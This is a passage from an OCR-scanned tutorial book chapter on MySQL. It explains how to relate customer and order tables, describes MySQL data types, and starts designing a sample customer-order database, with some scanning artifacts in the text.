time the customer placed an order, and each new row would contain all the
customer’s information. You can much more efficiently store the orders

in a separate table, named perhaps CustomerOrder. (You can’t name the
table just Order because that’s a reserved word.) In the CustomerOrder
table, you include a column that contains the primary key from a row in the
Customer table so the order is related to the correct row of the Customer
table. The relationship is shown in Table 3-1 (earlier in the chapter) and
Table 3-2.
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The Customer table in this example looks like Table 3-1. Each customer has
aunique cust_id. The related CustomerOrder table is shown in Table 3-2. It
has the same cust_id column that appears in the Customer table. Through
this column, the order information in the CustomerOrder table is connected
to the related customer’s name and phone number in the Customer table.

Table 3-2 Sample Data from the CustomerOrder Table
order_no cust_id item_name cost
87-222 27895 T-Shirt 20.00
87-223 27895 Shoes 40.00
87-224 12345 Jeans 35.50
87-225 34521 Jeans 35.50
87-226 27895 Hat 15.00

In this example, the columns that relate the Customer table and the
CustomerOrder table have the same name. They could have different
names, as long as the columns contain the same data.

Storing different types of data

MySQL stores information in different formats, based on the type of informa-
tion that you tell MySQL to expect. MySQL allows different types of data to
be used in different ways. The main types of data are character, numerical,
and date and time data. We describe those and other data types and then
tell you how to indicate which data type you're using in each column.

Character data

The most common type of data is character data (data that’s stored as strings
of characters), and it can be manipulated only in strings. Most of the informa-
tion that you store is character data — for example, customer name, address,
phone number, and pet description. You can move and print character data.
Two character strings can be put together (concatenated), a substring can be
selected from a longer string, and one string can be substituted for another.

Character data can be stored in a fixed-length or variable-length format:

4+ Fixed-length format: In this format, MySQL reserves a fixed space for
the data. If the data is longer than the fixed length, only the characters
that fit are stored — the remaining characters on the end aren’t stored.
If the string is shorter than the fixed length, the extra spaces are left
empty and wasted.

4 Variable-length format: In this format, MySQL stores the string in a field
that’s the same length as the string. You specify a string length, but if
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the string itself is shorter than the specified length, MySQL uses only the
space required, instead of leaving the extra space empty. If the string is
longer than the space specified, the extra characters aren’t stored.

If a character string length varies only a little, use the fixed-length format.
For example, a length of ten works for all ZIP codes, including those with the
ZIP+4 number. If the ZIP code doesn’t include the ZIP+4 number, only five
spaces are left empty. However, if your character string can vary more than
a few characters, use a variable-length format to save space. For example,
your pet description might be small bat, or it might run to several lines of
description. By storing this description in a variable-length format, you only
use the necessary space.

Numerical data

Another common type of data is numerical data — data that’s stored as
anumber. You can store decimal numbers (for example, 10.5, 2.34567,
23456.7) as well as integers (for example, 1, 2, 248). When you store data as a
number, you can use that data in numerical operations, such as adding, sub-
tracting, and squaring. If you don’t plan to use data for numerical operations,
however, you should store it as a character string because the programmer
will be using it as a character string. No conversion is required.

MySQL stores positive and negative numbers, but you can tell MySQL to
store only positive numbers. If your data is never negative, store the data as
unsigned (without a + or — sign before the number). For example, a city popu-
lation or the number of pages in a document can never be negative.

MySQL provides a specific type of numeric column called an auto-increment
column. This type of column is automatically filled with a sequential number
if no specific number is provided. For example, when a table row is added
with 5 in the auto-increment column, the next row is automatically assigned
6 in that column unless a different number is specified. You might find auto-
increment columns useful when you need unique numbers, such as a prod-
uct number or an order number.

Date and time data

A third common type of data is date and time data. Data stored as a date can
be displayed in a variety of date formats. You can use that data to determine
the length of time between two dates or two times — or between a specific
date or time and some arbitrary date or time.

Enumeration data

Sometimes, data can have only a limited number of values. For example, the
only possible values for a column might be yes or no. MySQL provides a
data type called enumeration for use with this type of data. You tell MySQL
what values can be stored in the column (for example, yes and no), and
MySQL doesn’t store any other values in that column.
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When you create a database, you tell MySQL what kind of data to expect in a
particular column by using the MySQL names for data types. Table 3-3 shows
the MySQL data types used most often in web database applications.

Table 3-3

MySOL Data Types

MySOL Data Type

Description

CHAR (length)

Fixed-length character string.

VARCHAR (Iength) Variable-length character string. The longest string
that can be stored is 1ength, which must be
between 1 and 255.

TEXT Variable-length character string with a maximum

length of 64K of text.

INT (Iength)

Integer with a range from —2147483648 to
+2147483647. The number that can be displayed is
limited by 1ength. For example, if Iengthis 4,
only numbers from —999 to 9999 can be displayed,
even though higher numbers are stored.

INT (Iength)
UNSIGNED

Integer with a range from 0 to 4294967295.
Ilengthis the size of the number that can be
displayed. For example, if Zengthis 4, only num-
bers from 0 to 9999 can be displayed, even though
higher numbers are stored.

BIGINT

Alarge integer. The signed range is
—9223372036854775808 to 9223372036854775807.
The unsigned range is 0 to 18446744073709551615.

DECIMAL
(length, dec)

Decimal number in which Iength is the number
of characters that can be used to display the
number, including decimal points, signs, and expo-
nents, and dec is the maximum number of decimal
places allowed. For example, 12.34 has a Iength
of 5and a dec of 2.

DATE

Date value with year, month, and date. Displays the
value as YYYY-MM-DD (for example, 2013-04-
03 for April 3, 2013).

TIME

Time value with hour, minute, and second. Displays
aSHH:MM: SS.

(continued)
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Table 3-3 (continued)

MySOL Data Type Description

DATETIME Date and time are stored together. Displays as
YYYY-MM-DD HH:MM:SS.

ENUM Only the values listed can be stored. A maximum of

("vall","val2"...) 65,535 values can be listed.

SERIAL A shortcut name for BIGINT UNSIGNED NOT

NULL AUTO_INCREMENT.

MySQL allows many data types other than those listed in Table 3-3, but you
probably need those other data types less frequently. For a description of
all the available data types, see the MySQL online manual at http://dev.
mysql.com/doc/refman/5.6/en/data-types.html.

Designing a Sample Database

In this section, we design a sample database to contain customer order
information. We use this database later in this chapter and in Chapter 4 of
this minibook to show how to build and use a database.

Create the following list of information that you want to store for each
customer:

4+ Name

4 Address

4 Phone number

4 Fax number

4 E-mail address
In addition, you need to collect information about which products the cus-
tomers order. For each order, you need to collect the following information:

4 Date the order is placed

4 Product information for each item in the order

In this example, the product is T-shirts. Therefore, you need the following
information for each item:

e Number that identifies the specific product (such as a catalog number)
e Size
e Price

e Color
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You design the Customer database by following the steps presented in the
“Organizing the data” section, earlier in this chapter, with this information
in mind:

1.

2.

Name your database.

The database for the order information is named
CustomerOrderInformation

Identify the objects.

The information list is
¢ Customer name
¢ Customer address
e Customer phone number
¢ Customer fax number
¢ Customer e-mail address
¢ Order date

e Number that identifies the specific product (such as a catalog
number)

e Size
e Color
® Price

The first five information items pertain to customers, so one object is
Customer. The order date information pertains to the total order, so
another object is CustomerOrder. The remaining four pieces of infor-
mation pertain to each individual item in the order, so the remaining
object is OrderItem.

Define and name a table for each object.

The CustomerOrderInformation database needs the following tables:

¢ Customer
® CustomerOrder
® OrderItem
Identify the attributes for each object.
Look at the information list in detail:
¢ Customer ID: One attribute (a unique ID for each customer).
¢ Customer name: Two attributes (first name